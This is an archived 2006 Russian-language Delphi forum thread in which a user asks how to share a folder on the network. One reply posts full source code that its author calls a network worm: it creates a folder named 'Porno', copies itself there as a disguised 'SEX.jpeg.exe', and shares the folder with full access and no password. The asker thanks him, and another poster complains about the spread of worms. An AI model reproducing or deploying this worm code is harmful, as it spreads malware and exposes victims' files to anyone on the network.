Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2006.11.19;
Скачать: CL | DM;

Вниз

Подскажите как открыть доступ к определеной папке?   Найти похожие ветки 

 
Maxim13 ©   (2006-05-21 10:30) [0]

Мастера подскажите как можно с помощью делфи открыть доступ к определеной папке на моем компьютере что б другие пользователи  сети имели доступ к этой папке?


 
Замок ©   (2006-05-21 14:43) [1]

Я в одно время писал сетевого червя , который создавал папку в документах и расшаривал её с правами админа.
Работает в WIN 9x и NT (используються две разные библиотеки , для определения оси) под администратором
На подобный вопрос в данном форуме мне отказались давать ответ , поэтому если будут вопросы оставляй на форуме мыло отвечу если смогу.
Вот код :

unit Unit1;

interface

uses
 Windows, Messages, NetApi, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, jpeg, ExtCtrls;

type
 TForm1 = class(TForm)
   Image1: TImage;
   procedure FormCreate(Sender: TObject);
   procedure FormClose(Sender: TObject; var Action: TCloseAction);
 private
 bNT:Boolean;
   fHandleNT, fHandle9x : THandle;
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
ver: TOSVersionInfo;

begin
if directoryexists ("C:\Documents and Settings\All Users\Документы\Porno") = true then
 halt// выход если папка уже существует
 else
createdir ("C:\Documents and Settings\All Users\Документы\Porno");
CopyFile(@(ParamStr(0))[1],@("C:\Documents and Settings\All Users\Документы\Porno" + "\SEX.jpeg.exe")[1],false); //копируем себя под
//именем SEX.jpeg.exe
ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); // определяем тип ОС
// и загружаем соответствующую бибилиотеку
GetVersionEx(Ver);
case Ver.dwPlatformId of
 VER_PLATFORM_WIN32_NT       : bNT := True;
 VER_PLATFORM_WIN32_WINDOWS  : bNT := False;
 VER_PLATFORM_WIN32s         : bNT := False
end;

if bNT then
 fHandleNT := LoadLibrary("NETAPI32.DLL")
else
 fHandle9x := LoadLibrary("SVRAPI.DLL");
 
 end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
 Share9x : TShareInfo502;
ShareNT : TShareInfo2;
wcPath, wcName, wcPass, wcComment: PWideChar;
edSharePath, edNetName, edPass, edComment: AnsiString;
begin
edSharePath := "C:\Documents and Settings\All Users\Документы\Porno";
edNetName := "Porno";
edPass := "";
edComment := "Porno";
if bNT then
 begin //Далее идёт код для NT
   @NetShareAddNT := GetProcAddress(fHandleNT,"NetShareAdd");
   if @NetShareAddNT=nil then
     Exit;

   // Конвертирование строк в Unicode
   GetMem(wcPath, WIDE_LENGTH);
   StringToWideChar(edSharePath, wcPath, WIDE_LENGTH);

   GetMem(wcName, WIDE_LENGTH);
   StringToWideChar(edNetName, wcName, WIDE_LENGTH);

   GetMem(wcPass, WIDE_LENGTH);
   StringToWideChar(edPass, wcPass, WIDE_LENGTH);

   GetMem(wcComment, WIDE_LENGTH);
   StringToWideChar(edComment, wcComment, WIDE_LENGTH);

   // Заполнение структуры
   ShareNT.shi2_path := wcPath;
   ShareNT.shi2_netname := wcName;
   ShareNT.shi2_passwd := wcPass;
   ShareNT.shi2_remark := wcComment;
   ShareNT.shi2_type := STYPE_DISKTREE;
   ShareNT.shi2_remark := "";
   ShareNT.shi2_permissions := ACCESS_ALL;
   ShareNT.shi2_max_uses := DWORD(-1);
   ShareNT.shi2_current_uses := 0;

   // Добавление открытого ресурса
   NetShareAddNT(nil,2,@ShareNT, nil);

   // Освобождение Unicode строк
   FreeMem (wcName);
   FreeMem (wcPath);
   FreeMem (wcPass);
   FreeMem (wcComment);
 end
else
 begin //Код для Windows 9x
  @NetShareAdd := GetProcAddress(fHandle9x,"NetShareAdd");
  if @NetShareAdd=nil then
   exit;

  // Заполнение структуры
  FillChar(Share9x.shi502_netname, SizeOf(Share9x.shi502_netname), #0);
  move(edNetName[1], Share9x.shi502_netname[0], Length(edNetName));
  Share9x.shi502_type := STYPE_DISKTREE;
  Share9x.shi502_flags := ACCESS_ALL;
  FillChar(Share9x.shi502_remark, SizeOf(Share9x.shi502_remark), #0);
  FillChar(Share9x.shi502_path, SizeOf(Share9x.shi502_path), #0);
  Share9x.shi502_path := PAnsiChar(edSharePath);
  FillChar(Share9x.shi502_rw_password, SizeOf(Share9x.shi502_rw_password), #0);
  FillChar(Share9x.shi502_ro_password, SizeOf(Share9x.shi502_ro_password), #0);

  NetShareAdd(nil,50,@Share9x,SizeOf(Share9x));
 end;
end;

end.


 
Maxim13 ©   (2006-05-21 20:36) [2]

Спасибо за ответ!


 
Maxim13 ©   (2006-05-21 20:47) [3]

А можеш мне на мыло кинуть эти две библиотеки? мое мыло maxim-13@mail.ru


 
Ildar ©   (2006-07-01 11:57) [4]

Они же в виндовс идут.


 
Дмитрий Белькевич ©   (2006-07-03 04:31) [5]

Количество червей выросло на тысячу ;) Модер, прибей ветку! Гадасть уже достала....



Страницы: 1 вся ветка

Текущий архив: 2006.11.19;
Скачать: CL | DM;

Наверх




Память: 0.48 MB
Время: 0.043 c
1-1160130078
Ш-К
2006-10-06 14:21
2006.11.19
Сохранение MSWord документа в формате HTML


15-1162149015
Ketmar
2006-10-29 22:10
2006.11.19
только не мой мозг...


8-1144648634
Wolfram
2006-04-10 09:57
2006.11.19
Где взять исходник работающей программы для записи звука?


15-1162546558
Ламот
2006-11-03 12:35
2006.11.19
Win2000 Server и планировщик заданий


6-1151044736
yaral
2006-06-23 10:38
2006.11.19
Кодировка писма IdMessage